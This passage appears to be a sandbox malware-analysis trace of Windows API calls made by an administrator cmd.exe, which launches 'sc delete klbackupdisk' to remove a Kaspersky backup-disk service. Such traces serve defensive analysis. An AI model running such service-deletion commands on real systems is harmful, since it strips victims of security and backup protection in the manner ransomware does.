0x1b1ab0 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.644] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.644] GetProcessHeap () returned 0x1b0000 [0067.644] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.644] GetLastError () returned 0x2 [0067.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.644] GetLastError () returned 0x2 [0067.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.645] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.645] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.645] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.645] GetLastError () returned 0x2 [0067.645] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.645] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.645] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.645] GetProcessHeap () returned 0x1b0000 [0067.645] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.645] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.645] GetProcessHeap () returned 0x1b0000 [0067.645] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa6) returned 0x1c9180 [0067.645] GetProcessHeap () returned 0x1b0000 [0067.645] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa6 [0067.645] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupdisk") returned 1 [0067.646] GetProcessHeap () returned 0x1b0000 [0067.646] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.646] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.646] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.646] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.646] GetProcessHeap () returned 0x1b0000 [0067.646] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.646] GetProcessHeap () returned 0x1b0000 [0067.646] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.646] GetProcessHeap () returned 0x1b0000 [0067.646] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.646] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupdisk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupdisk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klbackupdisk", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb60, dwThreadId=0x5f4)) returned 1 [0067.650] CloseHandle (hObject=0x54) returned 1 [0067.650] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.650] GetProcessHeap () returned 0x1b0000 [0067.650] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.650] GetEnvironmentStringsW () returned 0x1d1b10* [0067.650] GetProcessHeap () returned 0x1b0000 [0067.650] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.650] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.650] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.650] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.651] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.706] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.706] CloseHandle (hObject=0x50) returned 1 [0067.706] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.706] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.706] GetProcessHeap () returned 0x1b0000 [0067.706] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.706] GetEnvironmentStringsW () returned 0x1d1b10* [0067.706] GetProcessHeap () returned 0x1b0000 [0067.706] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.706] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.706] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.706] GetProcessHeap () returned 0x1b0000 [0067.706] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.706] GetEnvironmentStringsW () returned 0x1d1b10* [0067.707] GetProcessHeap () returned 0x1b0000 [0067.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.707] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.707] GetProcessHeap () returned 0x1b0000 [0067.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.707] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.707] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.707] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.708] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.708] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.708] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.708] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.708] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.708] GetConsoleOutputCP () returned 0x1b5 [0067.708] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.708] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.708] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.709] GetProcessHeap () returned 0x1b0000 [0067.709] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.709] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.709] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.709] GetFileType (hFile=0x120) returned 0x3 [0067.709] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.709] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.709] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.709] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.710] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.710] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.710] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.710] GetFileType (hFile=0x120) returned 0x3 [0067.710] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.710] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.710] GetFileType (hFile=0xb8) returned 0x3 [0067.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.710] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.710] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.710] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.710] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.710] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.711] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.711] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.711] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.711] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.711] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.711] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.711] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.711] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.711] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.711] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.711] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.711] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.711] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.711] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.711] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.712] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.712] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.712] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.712] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.712] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.712] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.712] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.712] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.712] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.712] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.712] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.712] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.712] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.712] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.712] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.713] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="backupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.713] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.713] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.713] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="ackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.713] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.713] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.713] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="ckupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.713] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.713] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.713] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="kupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.713] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.713] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.713] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="updisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.713] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.713] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.714] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="pdisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.714] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.714] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 